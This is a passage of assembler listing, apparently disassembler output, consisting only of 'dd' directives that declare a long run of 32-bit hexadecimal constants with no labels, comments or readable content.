		dd 9C218C30h, 5E49B61Eh, 0C6930072h, 3D05E2h, 88422A8Ch
		dd 2FFD5B5Fh, 0D02C6F37h, 4D4E7350h, 0E2B000A4h, 675CE0B6h
		dd 0AD007E76h, 9E39471Eh, 283A5273h, 6DCBEC0h, 202D14FDh
		dd 8A0011CAh, 8626D5DDh, 3C5B934Eh, 0C480F06Bh,	1A25A565h
		dd 0E1002C34h, 0BCEA4A1h, 24D8906h, 0D196460Fh,	50485D86h
		dd 3D7C3A75h, 2E246DB8h, 0D1808011h, 1FC8EDC9h,	0E7045CEEh
		dd 1513A201h, 0CC1ED8DEh, 0EB03711Ah, 95CB3794h, 9C3659DCh
		dd 939C6400h, 631A282Eh, 1CC22600h, 0A154DDE2h,	717E127Ah
		dd 21D001E8h, 70C1578Ah, 0B0009758h, 0F5621BC5h, 0EA271275h
		dd 8393044h, 36BA5521h,	11562530h, 3B9116h, 27CA3031h
		dd 9F73F2C9h, 9E2D1D00h, 4D78DD4Ah, 7FEA0011h, 980BDB74h
		dd 2899833Eh, 0D91E2E00h, 34DC7h, 9DEC7146h, 0CBB7C1FAh
		dd 77591D00h, 7C830724h, 0F8AA041Fh, 904B5E23h,	4A6B5FE8h
		dd 0BC59B002h, 518BEC84h, 0BDFEC058h, 0A53DAD9Ah, 13E68075h
		dd 1136E337h, 8DF200C4h, 5E100795h, 0A6F291CBh,	26034B7Ch
		dd 0D6193034h, 6EBCB0EBh, 55B50118h, 92A960F8h,	523AD473h
		dd 2B3B4900h, 0B4596478h, 146F00F0h, 24AC0DCh, 0BF30D5A5h
		dd 8620CCECh, 5497161Fh, 927C5C0Ch, 80748B8Ch, 4D37AFAEh
		dd 192F6030h, 57C053CFh, 1C6F9324h, 44024B3Bh, 0F54964B3h
		dd 82E3D4E0h, 24207F3Eh, 21802460h, 22FC75D9h, 904150B7h
		dd 67A80097h, 66BB532Eh, 3200E26Eh, 9FFA425Bh, 79591F44h
		dd 80B4007Dh, 0B9156853h, 620036CCh, 0A42BC660h, 0EA12F1h
		dd 0E440A6D7h, 5F3C591Eh, 674D3300h, 0ECB5CD4Ah, 5D903044h
		dd 0D303BC78h, 94415607h, 59478C74h, 0AB245A50h, 58F2A7h
		dd 0E7162667h, 0AD44494Fh, 5D801009h, 0BA08808Dh, 1C43A20Bh
		dd 14730F6h, 2FB6E757h,	294AE8A9h, 88606503h, 88303CD4h
		dd 7C6233h, 0B6B53D26h,	35AEA182h, 6F222317h, 2FD31000h
		dd 15ABDBEh, 0E955814Bh, 0F64E60EFh, 363FB480h,	0FF07337Fh
		dd 5026823h, 91300947h,	79EC644h, 0F81949C9h, 756320CBh
		dd 0E00CE68h, 346CC6Ch,	3A2DEEDAh, 901FE592h, 7EEC00FFh
		dd 94B281B6h, 0D7BB2800h, 5C708732h, 3038029Ah,	1976DD59h
		dd 7FF47560h, 632EEF0Eh, 0BCF6E03Eh, 71AA28h, 50451F9Ch
		dd 1A58DE69h, 17F56E00h, 75643BFAh, 71550002h, 15CA98B0h
		dd 8901F6C0h, 6C3D3E9h,	41E00B22h, 0FECC1CBCh, 1A2C181h
		dd 25AE59A1h, 264F6000h, 77790090h, 9D04DE74h, 8CFF23E8h
		dd 0F0224880h, 96401387h, 5304C86h, 9C3B7B70h, 0DD2F931Bh
		dd 0C4E3C047h, 40853A42h, 843C94h, 2737314Dh, 438EFB5Eh
		dd 8700B090h, 9EC980E4h, 7DFF2CAh, 99F00D14h, 9CBF06Ch
		dd 2A616F79h, 4A3D7404h, 180E6428h, 14839FA0h, 7125D047h
		dd 3024119Bh, 0A6B8F400h, 0E1907712h, 0C0A88883h, 7E30575Ch
		dd 0CF1F24C3h, 89E30F14h, 67FC1C40h, 0EC78FB21h, 2400C574h
		dd 1FA8CC40h, 25D386B1h, 5C2378FCh, 9FE0D0C3h, 260157E2h
		dd 67457C1Ch, 5DE00950h, 0D39830B7h, 30BDEF99h,	0B69DC083h
		dd 992700B3h, 9F16B04Eh, 0A650EFFBh, 9B50B710h,	50C0511Ch
		dd 5A88F71Fh, 0C5D60156h, 0D13B4604h, 8B8DD878h, 0C64D7112h
		dd 39198488h, 0CD80BBD7h, 0B71D68AFh, 713C907Fh, 3DAB00C7h
		dd 6B49D48Dh, 0EA2795Eh, 75BDFBDEh, 0F9357D20h,	381E2628h
		dd 7A00D410h, 96B0C789h, 1E120271h, 656BD7ECh, 142D5440h
		dd 0C80638h, 271FC37h, 0F809462Eh, 0D62500FAh, 99130DDBh
		dd 803C541Eh, 6E7B0196h, 1C5DCCEAh, 0F8A66E4h, 786BE925h
		dd 1B244120h, 30002DD4h, 1A4EDC48h, 698A6Ch, 68C65C7Eh
		dd 7B105266h, 0C19ACF07h, 46111AD9h, 0F85074F4h, 12EA4Ch
		dd 0EE1EA3E2h, 0A99971E3h, 1D7A3E01h, 83F47246h, 1C02B5D4h
		dd 0CA6C6232h, 80E459FCh, 95A668A4h, 1F0C48C5h,	890DB30h
		dd 521C058h, 0B293A681h, 0C5C0EF00h, 0E04F4108h, 78520387h
		dd 3BDE4532h, 0D93080F4h, 0CB07E7F4h, 0BA2965FCh, 2028AAC6h
		dd 0EC8B33D4h, 0F7982800h, 0BAC788C9h, 0FF7918D0h, 29C716Dh
		dd 0E100E775h, 8658A368h, 4CF1FB1Ch, 3506C9D3h,	0D87C0F37h
		dd 41036209h, 0CCB810E3h, 71F1002Eh, 47502757h,	5F743FEFh
		dd 9D21C360h, 0E1F116h,	0FD33D5D4h, 47A67C43h, 0F4FEDE1Fh
		dd 0DCC5E000h, 914B65h,	0AD1FFDD0h, 7024CEE2h, 622B7C03h
		dd 0C0644285h, 1F0D04A5h, 0B20527h, 0C0105C69h,	0F1392229h
		dd 0DFDC0450h, 6E801488h, 963D16h, 835ED192h, 8BDEB036h
		dd 0F08E9405h, 0D2C75CD4h, 9837D017h, 7E475910h, 860101CAh
		dd 83FB4B78h, 8492F85Bh, 8066B53Bh, 9ED19C28h, 7CA2698h
		dd 86CD91Dh, 938483F7h,	0C621B5D8h, 0D6ED8B00h,	0A592506Eh
		dd 71BB0696h, 5404CED1h, 844F8800h, 382E732Bh, 50C200B3h
		dd 14C8D994h, 0EF38123Fh, 765F00D5h, 82CBE4DFh,	7C8CE017h
		dd 0E5B00B8h, 0AD6DB365h, 2200EF9Dh, 0C9DEE1E8h, 924198h
		dd 97963F2Ah, 26B50E47h, 9DD66000h, 0FBF07EBEh,	0C2C53E98h
		dd 74D53700h, 10F999D7h, 7A00EBE6h, 857D0C7Fh, 93A51E0h
		dd 0B3D186ACh, 0A96C7F00h, 79F65E81h, 0E1194F00h, 903D40CBh
		dd 954800F1h, 9B882BC3h, 8707B339h, 0F926C05Ah,	180E13D1h
		dd 377A1D20h
		dd 5021E4ABh, 0A5AA6E51h, 0EDECC502h, 809B6D3Dh, 44A4DAA8h
		dd 3E943C31h, 9CE1007Bh, 1A797350h, 477D54FCh, 63ABD312h
		dd 2719A400h, 0D887B4h,	0C26A394Ah, 29543B57h, 0DDCD9E00h
		dd 45D8348h, 0AF770014h, 55DE4BEDh, 0EC7D2413h,	0FB40D8A2h
		dd 0A400DFE1h, 0F50F3A99h, 0E4D5D60Bh, 39AE00EDh, 232D31D1h
		dd 960E65B8h, 0CBE0EBh,	0DCC833D3h, 0C1070034h,	5D85DF74h
		dd 8C00174Ah, 2C3904C9h, 432A68h, 1B70EB8Eh, 0AABD45B1h
		dd 7BFCD0C0h, 30F16420h, 0CE4EF7A5h, 0F41E6F26h, 5B80E069h
		dd 5D778922h, 0F32F02Dh, 0FE967E29h, 3723EFE0h,	48C06288h
		dd 0F16EFD4Eh, 1E9A7BACh, 80FF0793h, 0A5CF5038h, 6F76F386h
		dd 0A2C04600h, 0DED3F809h, 63474CF6h, 1042B500h, 0F2049B0Ah
		dd 18440200h, 0EE45491Dh, 0A86BE0EDh, 0C3A4C7C8h, 0AD8A7590h
		dd 71C09087h, 0F4004259h, 0F2FFE32Ch, 0E92396h,	220351B2h
		dd 2BF93949h, 342C5A00h, 3F5D4CB8h, 0EFD900EAh,	90480B9Ch
		dd 533F0963h, 5C93004Eh, 8F4A77FAh, 8AFEAFh, 75C795EAh
		dd 8511B550h, 56DFD603h, 0ADFDFCC1h, 0F525E004h, 0D8760640h
		dd 0FF0928F7h, 200F24C0h, 6B844E08h, 0D7BC0725h, 0A48CC3h
		dd 0C4CC93EAh, 7A2F1A0Eh, 0FF65C033h, 74CFD990h, 2A951FA1h
		dd 78B681D6h, 40BB04AFh, 9C12B1CBh, 85E39B00h, 0D3B2B4A7h
		dd 98A81CECh, 0CF0BC372h, 0F7CADFh, 8A4D3F3Dh, 0B12A5900h
		dd 93A3ED31h, 0D7AB5129h, 46A5B0E3h, 0EE421F94h, 26C0F176h
		dd 1B168041h, 72BE4EF6h, 2AA9002Ch, 0AC231E9Fh,	69C08D9Bh
		dd 0D8E9694Dh, 1377453h, 0FB0C1376h, 0D04A60C9h, 0B600B897h
		dd 5D4BD7DAh, 24313F5Bh, 0C0EC21h, 0DE46396Eh, 2F0460E0h
		dd 5E45B549h, 7A8B0488h, 0EF2D0004h, 0CE8AA2C5h, 2300CC36h
		dd 0F555314Eh, 1859AEEh, 81E0D12Dh, 0DC77A41Dh,	0CF243873h
		dd 8A005411h, 4E5B50FAh, 0F2E32E0Fh, 0D562001Eh, 9F12FB87h
		dd 32E83000h, 29F54B36h, 0F0B600C9h, 0AEA00B31h, 4505CB15h
		dd 0FC8E7CB4h, 9A2800F8h, 0AC1A008Ch, 0AA40291Dh, 0E0C97BDEh
		dd 5D8800FEh, 0A13A16h,	0F0B51A04h, 69EB5B57h, 1D3D5301h
		dd 711070AEh, 219FB8BEh, 0D327C051h, 0B4C6453Eh, 6C000B77h
		dd 0A8B830E1h, 7DCD69Eh, 7639841Ah, 2C00E96Dh, 0BE709B80h
		dd 0D0A54F0Ah, 0B001C071h, 0B9BF86B7h, 0CEAFC850h, 0E33D007Dh
		dd 0C60E9752h, 0FE00CC58h, 49DCB7AEh, 0E72C131Ch, 4C291870h
		dd 5B098848h, 50002306h, 6E837E99h, 2FE150Ch, 9B792Ah
		dd 0E531405Dh, 0BDA20E08h, 0F72D3F00h, 0E7492817h, 800B0027h
		dd 0DAAD230Dh, 13078EC2h, 59534AE2h, 0C52DDEA0h, 54A91F95h
		dd 45A84027h, 0F804DA05h, 37C1D000h, 1FAE6659h,	0EF7107ECh
		dd 629DBD3Ah, 4072A0h, 57000601h, 6DF0635Ah, 0F29258Ch
		dd 0C7BC547Ah, 0CBF8E5E0h, 0F1DFEF6h, 4145E7DCh, 85C04233h
		dd 3A21CE8h, 0C627528Ch, 4AA01EE4h, 9850E134h, 0F0FA3C4h
		dd 0A777EA65h, 9F401F92h, 8B2617h, 0E8F5882Dh, 4416BD66h
		dd 45E60100h, 3DC14BB5h, 89403BEh, 8A9610E1h, 2F2CE390h
		dd 0FDC85E00h, 837C972Bh, 0A4FEE9Dh, 1E8F93D4h,	0D80C00ADh
		dd 3ADEF3AFh, 9E791800h, 265B865Dh, 48A30A5h, 40517150h
		dd 0B20396Eh, 0C7268061h, 3D92374Ch, 0F2C85EA2h, 0DE5DD700h
		dd 0AB654636h, 50FF1400h, 60B9F1C3h, 41706341h,	3F0D130h
		dd 7C3F7BB2h, 88B187C5h, 89D0D60Ch, 135B435Ah, 9042F32h
		dd 0FC20EF09h, 0B49B60B8h, 0F184A703h, 0AFB554D0h, 4F913590h
		dd 5A190083h, 0A3C74AB0h, 0F10071D1h, 0DF577BAEh, 212F33h
		dd 0F5846B8Ah, 4531C6EDh, 0B26F5C06h, 0EE61E80Bh, 89843C93h
		dd 0D95E2700h, 491BF965h, 916D10A0h, 3C908474h,	883B0503h
		dd 0A30B01CFh, 6D21A769h, 218A8559h, 1C811Bh, 0F3E6CF6Bh
		dd 6FE82765h, 0D2132100h, 689E8911h, 587A3DACh,	0E5B90B00h
		dd 13BB4DA6h, 881A9300h, 0CA748DCBh, 0DBC118D2h, 288A4067h
		dd 0A4489F18h, 0EC022FA8h, 1FC1B010h, 77F6AE4h,	4F8E2693h
		dd 2BB49DC0h, 0BB07D0ACh, 0FE32573Eh, 39305D80h, 9F2D30A4h
		dd 0D91AECA0h, 0B76B0B07h, 0F710F3E4h, 0F6F0FE6h, 5D9F855Fh
		dd 0B020914Eh, 0EA3B08ABh, 4B7B9971h, 0A4C4E300h, 3EF06194h
		dd 0D3C70E10h, 94F45CCFh, 564B100h, 67DE5479h, 25B62A07h
		dd 0A0BFFCF2h, 0A3AE632h, 0CFFA1C7Ah, 0D20B80C3h, 0C51B71FBh
		dd 5AB4B454h, 58D3CD00h, 0C17BB1A0h, 0D5F61C0Ah, 0BDCA43BEh
		dd 59800666h, 9700166Ah, 0DC581B96h, 82A1ABh, 69B030A9h
		dd 54FF5AF4h, 8A6D4000h, 0EF90AC74h, 6CE30B9Ah,	9CA1A52Fh
		dd 0E0705CA0h, 28F2A6DBh, 0B21B3Ch, 6D8C1122h, 5AE3BC7h
		dd 99EFB824h, 9D9893DDh, 34751AA1h, 600A5030h, 0DC7E5DFEh
		dd 61007A2Ch, 428D0A5Fh, 502A00C5h, 53434FCAh, 35753848h
		dd 0C03E9607h, 3730E482h, 0F90B8Dh, 4A0BB40h, 984A1B9Ch
		dd 0A332CC00h, 5DB9C7D0h, 0DE2003DFh, 3784AFB2h, 0FA09B400h
		dd 0F180C039h, 0AD1A00CEh, 2BE9487Fh, 6D740631h, 0C701570Fh
		dd 0DDC9A310h, 289CB02Dh, 0E8634C4Dh, 7982DE40h, 606F057Dh
		dd 0C0A09046h, 97C4814Ch, 8ABE4501h, 2CB7C372h,	215B834h
		dd 0F081A8B5h, 0EC6891A9h, 0C0F46B4h, 0F27D59AEh, 43F44080h
		dd 1E800BDh, 0D52657A0h, 56002797h, 12695540h, 3FA5CED8h
		dd 170022FAh, 5DB52D9Ah, 851C1D94h, 0F00254FEh,	0C0DDF82Ch
		dd 94C0C43Dh, 76088040h, 0DCEE3CD9h, 88C14400h,	86B2B877h
		dd 0C6CCA1A5h, 942460h,	32309D05h, 0FDA93170h, 55686300h
		dd 14C34086h, 0F780037h, 74495762h, 4B007281h, 2EB74CC0h
		dd 70BA864Dh, 0BBE7008Eh, 62185727h, 0DC03E9EAh, 85F199ADh
		dd 0E8D67Ch, 1198BB3Ch,	0BC9FE460h, 0EEF3D400h,	0C96E01BFh
		dd 52702Bh, 0B22C70E8h,	0B1C0BE39h, 0F4FC2807h,	91F0D0FDh
		dd 3819CF10h, 480FADDh,	0ADF0E4D3h, 0D502C0F6h,	0B71EAE5Bh
		dd 0B988710h, 0C221DBA0h, 0C4F50450h, 0D0A580CDh, 0E868DE38h
		dd 212D13Ah, 3A8C4023h,	907C64D7h, 0DA40295h, 0E920C184h
		dd 0C94C40D5h, 0F9E80309h, 6ADF79D0h, 0CA71D000h, 0C8F506F7h
		dd 36200244h, 46C3D0ECh, 0DC11F461h, 0DB000D57h, 4C0F9CC1h
		dd 0E637F94h, 0FEE065A2h, 5B6ED838h, 0DE1C0A07h, 0DC7AFF55h
		dd 3C905092h, 0AE6C38h,	7584792Ch, 83F405A7h, 3FEC938h
		dd 0A525B2EFh, 3C701242h, 57DC80F5h, 32026173h,	0B7B65FF4h
		dd 864140E8h, 67E4F3h, 31E61E38h, 700F65F5h, 0AB72A200h
		dd 0BACFAC8h, 0DEA104BAh, 0D09829CEh, 0D5669A78h, 0D47E2D01h
		dd 0B45EA3D6h, 0F2A636E4h, 0FAD80043h, 2B74418Ah, 66C0B3E8h
		dd 323C7AA0h, 24041730h, 0AA18008Bh, 0EC67088Ah, 74B6CF00h
		dd 0F31867Bh, 0D4E95CD2h, 0BC01120Eh, 4DF951ECh, 6E19E700h
		dd 69AB1702h, 15D6008Bh, 5BD1379Bh, 3C00C66Bh, 0E271A862h
		dd 7DD9C1h, 6C68BFD2h, 55725CEDh, 1575F77Fh, 0B941571Eh
		dd 0E269D80h, 0F02FD89Bh, 25B77A46h, 7C81737Dh,	0DCEA9950h
		dd 4002AB32h, 326B465h,	0C530E0E3h, 3D43009Eh, 4BCD943Bh
		dd 0B0942560h, 6619B500h, 0F31F03ECh, 7A33AFCh,	6122A8CDh
		dd 0D2E3CF4Ch, 9A0DAE5h, 2F00F564h, 0CE80781Eh,	24B2BDh
		dd 0ECB7E7FAh, 6688E3EDh, 33CB1D00h, 0AF5A2DFh,	46B00607h
		dd 88C65FF8h, 871B9F1Eh, 0B78A02C0h, 26C95E24h,	0E4A399Ch
		dd 144125E3h, 0D8C61B45h
		dd 42244B36h, 0BF8328F3h, 80E36719h, 0F85313h, 522248D5h
		dd 0D85A56A0h, 6CCCC706h, 3FA9831h, 72A1FB87h, 110E8149h
		dd 0F31232CEh, 25698C00h, 9730BCh, 1D5E95C7h, 0B90FE8B4h
		dd 32FDAB0Eh, 0AE37E0F9h, 30FB73h, 0BAFB015h, 5A539FD5h
		dd 18117860h, 4EF84557h, 0D1041241h, 8B4E5F0h, 973FA4Ch
		dd 0BAA24E39h, 0D11A3C41h, 31DDD478h, 97AFC903h, 981075CCh
		dd 0FDDE04h, 2D386CCDh,	0A1A564EFh, 1C5CF348h, 8A816FDCh
		dd 6350F51Dh, 0FEC0E5FCh, 5EB90081h, 5C52459h, 9C00D70Eh
		dd 53DA57B4h, 38E6DBB1h, 0DD807D2Eh, 0B5755ED3h, 4100B8BDh
		dd 81B45FC2h, 749FFDh, 9D549190h, 0D5ACC5A3h, 391E3Bh
		dd 0BCAD36E5h, 1C5E857Ch, 0A5517Ah, 791E06B9h, 8B002618h
		dd 0B12BBA09h, 1609FAFh, 0CADC893Ah, 81810832h,	9258206Eh
		dd 0C4619149h, 70F72AFCh, 13550264h, 9BFAF03Dh,	0C378FCE0h
		dd 4A0FDD74h, 60790924h, 4DBD6E9Dh, 0DB162C5Bh,	4D449644h
		dd 30207B1Ch, 700BF1Ch,	624AE07Ch, 27408F08h, 98005D53h
		dd 8A3474B8h, 15429900h, 0C296EB0Eh, 613000A8h,	94938572h
		dd 8A0638B4h, 0B9498C5Eh, 84891E30h, 0C006926Fh, 11D1ECB4h
		dd 0F2769E00h, 0C23A3D9Dh, 190A0E90h, 0C00021A0h, 28D8D9ABh
		dd 0DA7F921Ch, 0C475E340h, 732FEABCh, 0D498AAh,	0BD994F91h
		dd 168A68Fh, 586D8412h,	9C192090h, 0AE1E2EE8h, 330171Eh
		dd 822944DCh, 0F6692078h, 27D60710h, 62218Ch, 86155513h
		dd 32A7A461h, 9AC6D703h, 0D8016E6Bh, 25BD8D65h,	40B58F0h
		dd 0C0F6F027h, 0B8A448EBh, 0E5742704h, 28A01535h, 3F131E18h
		dd 0ED1036Ah, 2890E654h, 0C6241953h, 0AD9CC40Bh, 0BFB72780h
		dd 0A0C707CFh, 0F2F950Ch, 8833059Fh, 0AF4121A0h, 0F63E9DE0h
		dd 17E20027h, 6EBBECC9h, 0F42F00D9h, 9E5CEF09h,	68FEA886h
		dd 2A22F900h, 0EA00FF2h, 0CB09006Fh, 1B114A0Ch,	65E6FC80h
		dd 87362E3Dh, 5DE5BBB0h, 12873E70h, 0A0060024h,	77D77DAh
		dd 6E00112Ah, 7E9B0156h, 6AE158h, 741019ABh, 3A1ADAC2h
		dd 0C54183A0h, 44606C00h, 5D069D6h, 0A7340361h,	0A299EA5Dh
		dd 0D9942EA8h, 0D800BC7Ch, 0FDF2099Fh, 49C4F79Ah, 230E0C99h
		dd 302555B1h, 181E816Eh, 8F089846h, 49D821h, 255BD252h
		dd 700153E4h, 0D1D9DC00h, 9E8D141Dh, 69491D82h,	5F60319Ch
		dd 6838B2B2h, 525D30DBh, 4E305111h, 0DC808B88h,	7DAA55B5h
		dd 0A8C90A3h, 0BC942D30h, 9A100830h, 44988308h,	55A460D8h
		dd 1630235Ah, 83408411h, 3080055h, 0DDAF14B7h, 200904C3h
		dd 87D0027Dh, 0F3F08580h, 1E2AF44Ch, 8C9D99EBh,	0C51887CDh
		dd 0AE49B160h, 0BC77CAh, 0F5615B47h, 4EBE57EBh,	0ED308467h
		dd 0B1878395h, 0B57B22F0h, 921A00A3h, 0DD5144F4h, 0C090F1D4h
		dd 0AC048900h, 80DB7E71h, 0EC1B09BDh, 80C9FEh, 1288D3D8h
		dd 5D186600h, 58674F0Dh, 23B61D35h, 0C20B401Fh,	49DFA77Eh
		dd 4AA61C00h, 7DCD10B3h, 3155015Bh, 869CAE19h, 0FE01C004h
		dd 0FC473C00h, 94CF7BAAh, 0C4DD07F2h, 9E3D66h, 0F88F9A50h
		dd 0EA1FC100h, 3E36E933h, 449F0767h, 0D01E801Ch, 8DFE936Ah
		dd 0FFCD1400h, 0A5495CAFh, 3D850E25h, 4DEFC831h, 7CCCF1E0h
		dd 0EC00EAAEh, 68777EADh, 8313B5h, 98C2A122h, 0F76AC0B3h
		dd 2B9E8A00h, 48EFC44Ch, 0A469038Eh, 5AAB2510h,	85413CD0h
		dd 0F46F9503h, 0C0596BD1h, 9AABAEBh, 0CBF17409h, 0BC449180h
		dd 3500113Ah, 0B9FA64DCh, 0A519Fh, 4D26DD12h, 0D931C46h
		dd 0A4033E7Fh, 0B5866DFBh, 0BCD88C0h, 67850070h, 4FEF46AEh
		dd 6D00BD02h, 0F67D2CDFh, 0FD4B14h, 920CAD8Dh, 0F0B95237h
		dd 0B1D3D000h, 430B85A7h, 0C78617F1h, 2603BB2Ch, 0B80F7E07h
		dd 74FAD94h, 0F2126370h, 5D2E7022h, 0B900C388h,	9AE57DF8h
		dd 518DDDh, 52EF75C7h, 0B5C89C01h, 0D20CA6FAh, 491B7A03h
		dd 6F43005Bh, 0C08B5104h, 1E0E4840h, 601230BFh,	79D16792h
		dd 841B0361h, 0F9FDA4E9h, 0F64B6CE8h, 9D891600h, 0D411ECD6h
		dd 93550CDEh, 0EE00641h, 6DA0F501h, 0ABF72FE2h,	0BC38FCh
		dd 0FD276224h, 51817AECh, 47E24D00h, 0D4BD5F28h, 5D78AFh
		dd 0ADAAACA3h, 0DBF57AE3h, 0D25A9601h, 784FD38Bh, 0D0D09443h
		dd 0E5B019h, 5DF3BF68h,	0F91C2360h, 0C27B8C00h,	171639FFh
		dd 67CB2A9Dh, 0D0A707B8h, 913BBED5h, 8E7DC3BDh,	40249E19h
		dd 149A5663h, 0D6F8F7h,	3C99E638h, 8DA948A1h, 408AA03h
		dd 0D039F032h, 0BCA4E7h, 0E43EDD5h, 31A2F989h, 608A4901h
		dd 0B654EB29h, 2B7DF080h, 8DB2AE32h, 0BFB8CA5Ah, 8FD39500h
		dd 0F75FF61Fh, 57386900h, 5BEE0FDEh, 59C80070h,	9B89E345h
		dd 92002E1Fh, 51378AF5h, 3C2BEAh, 0F66C95EDh, 0D1D4D70Ah
		dd 7F7E2200h, 8D6D0C94h, 0E6921FA8h, 0FF4C81B0h, 4005EAF7h
		dd 0C14F2AF0h, 0D9F15E00h, 5BC49262h, 1BA4A00Dh, 23CD00C5h
		dd 0D2401375h, 5172E191h, 8DD8FB0Eh, 0ADDB2028h, 177C0h
		dd 3D31D542h, 67410B55h, 0F9008C75h, 0B9A7E3E2h, 0B8E644D1h
		dd 37C0A0ABh, 0CFAD00CCh, 878F2EF4h, 0F312BC79h, 7440AEA2h
		dd 0F986E4EDh, 35A3AA1h, 0C3C6A9E0h, 0E21212B5h, 4400E81Ah
		dd 38602484h, 0F288FEEDh, 1DF57DEFh, 8020AB83h,	0CA25A806h
		dd 0DF00C1B9h, 1C0AD826h, 48ADDAh, 2EB0FBEBh, 804BC093h
		dd 0A98BCF00h, 1E9AC4EFh, 77DC005Eh, 4526A509h,	0D900047Ah
		dd 7F07CC86h, 60B1AB44h, 1980C83Bh, 172E256Eh, 0DA07AB75h
		dd 70D0A5BCh, 635392CEh, 0AB13B806h, 5F1DDDC0h,	0D576D100h
		dd 2332A1E3h, 0C2A0E25h, 42008A5Eh, 0B7104CB6h,	57051091h
		dd 88000EC4h, 5F0AF3Ch,	263B0B7Fh, 0F10ADC25h, 0AEED0868h
		dd 45F08B90h, 2E9ABF0Dh, 0F60C8600h, 799D749Bh,	0B0800066h
		dd 6E987367h, 262ECBDCh, 0FD165311h, 0E46D5000h, 3AEB8F5Dh
		dd 9C9F1CD9h, 4EB940DCh, 0FE3531ABh, 26038E03h,	3D6858h
		dd 0C141D7A8h, 0DF84438Ch, 0B9D8CE03h, 0B8C3DC50h, 0FA61A98Ah
		dd 0AA860095h, 80559FB8h, 2C006ECDh, 983F0BDDh,	0FF87E66h
		dd 74B749A7h, 0BD226340h, 0E0058EAh, 0CFCAADB2h, 79B48A0h
		dd 0F9B1B327h, 2942D0AFh, 5603BDDBh, 985D64B8h,	2D87A086h
		dd 0F2750040h, 0AA36358Dh, 18007BFBh, 0B2B8125Fh, 60EEC1A5h
		dd 6BF6101Fh, 3300AA34h, 0C2B79078h, 2A475F9h, 163FCDE4h
		dd 0EE8E483Ah, 0EF9A2640h, 31013097h, 0CC7351C6h, 0FC20F32Ah
		dd 0B947051Fh, 0C4EDF6DEh, 9F800049h, 0BD73F28Ah, 0DDF55D00h
		dd 6E8E02E6h, 372D0004h, 69DE5878h, 32008ADCh, 337FD2B3h
		dd 7941ECh, 17A289F6h, 4E19FAE7h, 23F3CE01h, 0F9FBDB86h
		dd 7CB43h, 0C6451590h, 84358B3Ch, 791F5C75h, 0DBC0FFE3h
		dd 99A4CD83h, 0B9ED02EFh, 7352E714h, 17301848h,	178C100h
		dd 5B2BC3B2h, 0A8E21342h, 6AC8001Eh, 47BF519Dh,	1D97D400h
		dd 2CBB924Bh, 0A9E10EBDh, 6A2109F7h, 816896D5h,	2D0DC30h
		dd 42041CEh, 8F33000Dh,	9CBE2D4Ch, 0AAE66634h, 0DE241404h
		dd 50801960h, 330CFDAh,	48A4EE39h, 19036FB9h, 7671090Ch
		dd 20A94872h, 7483C900h, 0D9F0E6AFh, 0A0B1A900h, 15FA3405h
		dd 98FFA0DDh, 0F55F0083h, 1040C3F7h, 0B9160628h, 1EE1A052h
		dd 67E4C7FBh, 0E372080h, 443005B4h, 0C61E423Dh,	8F7F1877h
		dd 1E41A17h, 88E03201h,	6E51DEh, 8F6FFF27h, 337FE7E1h
		dd 73C80800h, 9242A494h
		dd 760B01F1h, 0E072F744h, 804AD0B4h, 0D802C0ECh, 2169A967h
		dd 60D080F4h, 145577AAh, 6C168CEDh, 62126C3Eh, 0D4DC4094h
		dd 0A3D78101h, 0AA09A900h, 1CF404E2h, 59610042h, 67C89A6Ah
		dd 0E6039572h, 0BBA28B5Fh, 89DEB865h, 0BC390082h, 0CD2F4A16h
		dd 50047F2h, 0C091480Fh, 73580Eh, 6D08568Ch, 6F416AF6h
		dd 0F0F95E00h, 30B6477Fh, 9EE4000Dh, 0B9A8DBB7h, 18FC2B33h
		dd 0DC9BB000h, 0A793F382h, 0ACCF1F46h, 0E565C0A2h, 7361B50Ah
		dd 1706112Ch, 8DFFF500h, 8C9D8Bh, 0D2A8A970h, 0E8465E6Eh
		dd 0D23FAD24h, 0EC3514h, 3AF3F0A1h, 717ED43h, 0A2EA573Eh
		dd 0A5039027h, 0A71EF54Ah, 0DC05C1Dh, 3FF71C8Fh, 0D1070740h
		dd 0F74D5F65h, 803BA3C8h, 0D3782890h, 0B0839A03h, 0F05AC2A0h
		dd 0D43EBCDh, 0F47B2EC7h, 0EF72F070h, 2CAD49h, 0FD14163Ch
		dd 161336AEh, 1EE79E41h, 5318F0E0h, 0F100E254h,	36BB835Dh
		dd 0A4C6D4h, 5AF557Dh, 9858DB5Bh, 0BD4C8428h, 2C607228h
		dd 0EF787160h, 0E2B7A16h, 0D73A6E48h, 2ADEDD40h, 3E7BECA6h
		dd 9FCDF00Ch, 7613385Dh, 39F907B0h, 0D073AADEh,	82D97C48h
		dd 0A00223F0h, 0B6C44977h, 0AFF48061h, 5E0815h,	25C95CCDh
		dd 5F117E0Eh, 0BD1BE200h, 291887F9h, 4A781D68h,	3BC80B3Ch
		dd 7DA12001h, 69CB4081h, 1205E77Fh, 0D6EC4451h,	0E158DF00h
		dd 7264776h, 9597F87Ch,	0FEE2B049h, 6F001928h, 0A773339Bh
		dd 4080483h, 95E6BC7Bh,	96F5C0A0h, 2D03698Dh, 0D5A46DEBh
		dd 86B1D005h, 0E07908h,	8B171AA9h, 46F824C9h, 38951302h
		dd 0C0A45AE1h, 72E2B025h, 80B4004Ah, 0F29FE7CCh, 11004413h
		dd 0C8D679Dh, 1E56FF18h, 0C1303EE9h, 50BB2503h,	49B840A3h
		dd 0FD00EDA2h, 0CCBECB8Bh, 2E6B3CC0h, 0A5505Bh,	97D0CD32h
		dd 2300DD17h, 9669F49Bh, 5C024E67h, 0C200DD63h,	9DD28222h
		dd 5300BDFCh, 0DDACD95Eh, 733A1926h, 0D86D12E1h, 35340017h
		dd 40287E2Eh, 338845Ch,	7D775C86h, 68439AC2h, 0B83F904h
		dd 6A5A0AE6h, 0D7110C80h, 0EB021440h, 0A6979219h, 7E00F5F3h
		dd 0E1FADAC6h, 2232BF0Fh, 66DD40E9h, 0BD9E1Ch, 6F5F5594h
		dd 0D0B1E47Dh, 5B39DBF2h, 0EDF88023h, 8FA1CA0Ch, 3931002Fh
		dd 6C68A229h, 0E31F51F2h, 0C7407AFDh, 749A0B2Ch, 2BEF021Bh
		dd 0A1820955h, 3D005050h, 0BCB52056h, 26996C4Ch, 0B84FE37h
		dd 0C0A08AB8h, 0F6E3AE9Ah, 0C1E9EE00h, 4AC75EEDh, 209B005Ah
		dd 0D8EFE7BEh, 0AA486579h, 81620006h, 932F4CC8h, 0F3780397h
		dd 9414459Bh, 7275FAC0h, 997CE506h, 7F8590Ah, 54D00E05h
